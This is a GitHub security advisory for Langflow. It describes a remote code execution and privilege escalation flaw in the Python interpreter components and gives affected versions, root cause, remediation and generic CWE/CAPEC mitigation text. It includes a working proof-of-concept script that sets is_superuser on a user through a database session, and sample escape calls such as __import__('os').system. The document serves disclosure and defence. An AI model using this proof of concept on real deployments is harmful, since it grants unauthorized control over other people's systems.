GHSA-8QPJ-27X8-PWPQ
Vulnerability from github – Published: 2026-10-06 13:38 – Updated: 2026-10-06 13:38Summary
Langflow's built-in Python interpreter components — PythonREPLComponent (Python Interpreter) and the legacy PythonREPLToolComponent (Python REPL Tool) — executed arbitrary user- or model-supplied Python code inside flows without effective sandboxing. Because the code ran in-process with the privileges of the Langflow service, any authenticated user who could edit and run a flow could achieve remote code execution and, from there, escalate privileges to superuser (e.g. by opening a database session and flipping is_superuser) or compromise the host.
This issue is fixed as of 1.10.1, with additional hardening through 1.12.3. See Remediation below.
Affected
- Package:
langflow(PyPI), and the underlyinglfxpackage that ships the component. - Vulnerable versions:
< 1.10.1. - Patched:
1.10.1(core fix). Upgrade to>= 1.12.3for the complete hardening series.
Details
The root cause is code injection (CWE-94/CWE-95): the component passed raw input to LangChain's PythonREPL, which is explicitly not a security sandbox.
Two distinct weaknesses existed before 1.10.1:
-
Unrestricted builtins (default deployments).
get_globals()built theexecglobals from theglobal_importsallow-list but never set__builtins__. CPython'sexec()then auto-injected the fullbuiltinsmodule, leaving__import__,open,eval,execand the whole import machinery reachable regardless of the allow-list — e.g.__import__("os").system(...)or__import__("subprocess").check_output([...]). This made the "only modules in Global Imports can be used" guarantee false, and it applied even with the default configuration (allow_custom_components=True). -
No server-policy gate (locked-down deployments). Even a deployment hardened with
allow_custom_components=Falsecould still run interpreter code, because the components did not consult that policy before executing.
Both let an authenticated user run the reported PoC, which opens a DB session and sets is_superuser = True on their account, or writes to the filesystem / runs OS commands with the service's privileges.
PoC (as reported)
- Authenticate as a normal user.
- Create a flow with the
PythonREPLComponent. - Execute Python that imports Langflow internals and elevates the account:
import asyncio
from sqlmodel import select
from langflow.services.database.models.user.model import User
from langflow.services.deps import session_scope
async def escalate():
async with session_scope() as session:
stmt = select(User).where(User.username == 'testuser')
user = (await session.exec(stmt)).first()
if user:
user.is_superuser = True
session.add(user)
await session.commit()
asyncio.run(escalate())
Impact
Any authenticated user could: - Execute arbitrary Python / OS commands with the Langflow service's privileges (RCE). - Escalate their own account to superuser via direct database access. - Read/modify data and configuration, and potentially pivot to the underlying host.
Remediation
Upgrade to Langflow 1.10.1 or later (preferably >= 1.12.3). The interpreter components were hardened with layered, defense-in-depth controls, applied in run_python_repl() before any code is executed:
- Restricted builtins —
get_globals()injects a curatedsafe_builtins()mapping, removing__import__,eval,exec,compile,open,input,globals/locals/vars,getattr/setattr, etc. (#13397) - AST validation —
validate_code_safety()rejects inlineimport/from ... import, dunder/escape-gadget attribute access (__class__,__subclasses__,__globals__, frame/traceback introspection) and format-string dunder traversal. (#13397) - Server-policy gate —
ensure_code_execution_enabled()refuses to run whenallow_custom_components=Falseorblock_code_interpreter_components=True, and fails closed if the settings stack cannot be resolved. (#13700 — this advisory — and #14375) - Allow-listed module proxies — imported modules are exposed via a proxy that blocks reaching
sys.modules["os"]through a module's transitive import graph. (#15198) - Optional hardware isolation — configure
LANGFLOW_SANDBOX_BACKENDto run interpreter code in an isolated microVM instead of in-process. (#14400)
Upstream fix references: #13397, #13700 (carries this GHSA), #14375, #14400, #15198.
Hardening recommendations for operators
- Keep Langflow updated (>= 1.12.3).
- For locked-down deployments, set
LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false(orLANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true) to disable the interpreter entirely. - For deployments that must run untrusted code, configure
LANGFLOW_SANDBOX_BACKENDfor microVM isolation. - Run the Langflow service as an unprivileged user with least-privilege database credentials.

Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
